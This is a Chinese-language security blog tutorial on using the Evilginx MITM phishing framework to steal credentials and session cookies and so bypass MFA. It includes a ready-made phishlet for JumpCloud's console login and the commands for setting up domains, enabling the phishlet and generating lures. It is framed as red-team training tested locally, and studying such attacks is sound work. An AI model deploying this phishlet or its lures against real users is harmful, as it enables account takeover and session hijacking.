什么是 Evilginx?
Evilginx 是一种高级网络钓鱼框架,充当中间人 (MITM) 代理。它拦截和代理受害者与合法网站之间的通信,使其能够:
-
捕获用户名和密码。 -
提取会话 Cookie 以绕过 MFA 保护。
Evilginx 是安全专业人员的强大工具,可以:
-
模拟真实的网络钓鱼攻击。 -
演示会话 Cookie 被盗的风险。 -
培训组织识别和缓解此类威胁。
本教程将展示什么:
-
设置测试环境 -
从头开始创建自己的 phishlet -
配置您在 Evilginx 中创建的 phishlet -
创建诱饵
使用 Evilginx 进行的典型网络钓鱼攻击如何运作
- 受害者浏览器单击诱饵 URL
-
这将启动与 Evilginx 服务器的通信。
2. Evilginx 服务器从合法服务器获取登录页面
-
Evilginx 充当代理来检索合法的登录页面。
3. 合法服务器将登录页面发送到 Evilginx 服务器
-
真实服务器使用登录页面进行响应。
4. Evilginx 服务器为受害者浏览器提供登录页面
-
受害者看到看起来合法的登录页面。
5. 受害者浏览器提交凭据
-
受害者在网络钓鱼页面上输入他们的用户名和密码。
6. Evilginx 服务器将凭据转发到合法服务器
-
Evilginx 将受害者的输入发送到真实服务器进行身份验证。
7. 合法服务器向 Evilginx 服务器发送会话 cookie
-
身份验证成功后,服务器使用会话 Cookie 进行响应。
8. Evilginx 服务器窃取凭据和会话 cookie
-
凭据和 cookie 存储在 Evilginx 服务器上以备后用。
9. Evilginx 服务器维护受害者浏览器的会话
-
受害者继续与合法站点互动,而不会怀疑拦截。
设置环境
-
在 Chrome 中创建第二个配置文件,如果您想测试您的活动,使用 2 个配置文件会更容易。
2. 在第二个配置文件中,安装以下 Chrome 扩展
-
Cookie 编辑器:https://chromewebstore.google.com/detail/cookie-editor/hlkenndednhfkekhgcdicdfddnkalmdm -
本地存储管理器:https://chromewebstore.google.com/detail/local-storage-manager/gblgaabfeickfogegnkagbehmbbnpbnp?hl=en
3. 安装 VScode:https://code.visualstudio.com/docs/?dv=win64user
4. 安装 Go 编译器。使用以下命令下载 Go 编译器。请注意,Windows 上预装了 :curl
curl https://go.dev/dl/go1.23.4.windows-amd64.msi -o go1.23.4.windows-amd64.msi
5. 运行下载的文件,在您的机器上安装 Go 编译器。.msi
6. 下载 Evilginx 源代码。使用以下命令下载 Evilginx 源代码:
curl https://github.com/kgretzky/evilginx2/archive/refs/heads/master.zip -o evilginx2.zip
7. 验证安装:
go version
8. 解压缩下载的文件。
9. 导航到 Evilginx 目录并运行该文件。如果一切正常,您应该会在终端中看到 Evilginx 徽标。build_run.bat
创建 Phishlet
-
选择 Target (目标)。 在此示例中,我们将使用 JumpCloud。 -
您将需要使用 burpsuite 来帮助您创建 phishlet。 - 复制并粘贴文件。
example.yaml
-
将 example.yaml 文件重命名为 jumpcloud.yaml。此文件可以在 phishlets 目录中找到。
4. 完成此操作后,使用 burp suite 了解身份验证过程:
-
域:jumpcloud.com -
子域:console -
参数:email 和 password
5. 确定 cookie 参数。您可以通过一次删除一个参数并观察响应来确定正确的 Cookie 参数。401 错误而不是 200 表示这是您要查找的参数。
5. 此时,您的 JumpCloud 网络钓鱼应如下所示:
min_ver:'3.0.0'proxy_hosts:- {phish_sub:'console', orig_sub:'console', domain:'jumpcloud.com', session:true, is_landing:true, auto_filter:true}sub_filters:auth_tokens:-domain:'*.jumpcloud.com'keys: ['_jumpcloud_user_console_']credentials:username:key:'email'search:'(.*)'type:'post'password:key:'password'search:'(.*)'type:'post'login:domain:'console.jumpcloud.com'path:'/login#/'
设置您刚刚创建的 phishlet
-
由于我们在本地工作,因此您可以使用任何域。对于真正的网络钓鱼,您将需要您拥有的域。
config domain wedontcare.com
3. 对于真实的互动,请使用您服务器的 IP。对于本地测试,请使用 :127.0.0.1
config ipv4 127.0.0.1
4. 提供主机名并启用您的 phishlet:
phishlets hostname jumpcloud jumpcloud.wedontcare.comphishlets enable jumpcloud
5. 验证设置,需要将 phishlet 的状态设置为 enable:
phishlets jumpcloud
创建诱饵
诱饵是用于诱骗目标与虚假登录页面交互的恶意链接。此 URL 通过将受害者重定向到一个代理站点,其外观和行为与合法登录门户完全相同,从而充当网络钓鱼攻击的网关。
-
使用您的 phishlet 创建诱饵:
lures create jumpcloud
2. 获取诱饵的 URL:
lures get-url 0
传递诱饵
-
对于此演示,您可以自己导航到诱饵 URL。
2. 此时,如果你成功欺骗了受害者,你将捕获他们的电子邮件、密码和 cookie。_jumpcloud_user_console_
资源
-
https://github.com/kgretzky/evilginx2 -
https://portswigger.net/burp -
https://go.dev/ -
https://github.com/simplerhacking/Evilginx3-Phishlets
原文始发于微信公众号(安全狗的自我修养):使用 Evilginx 轻松绕过 MFA
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论